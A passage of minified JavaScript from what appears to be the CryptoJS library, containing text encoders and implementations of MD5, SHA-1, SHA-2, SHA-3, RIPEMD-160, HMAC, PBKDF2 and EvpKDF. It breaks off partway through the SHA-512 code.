return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 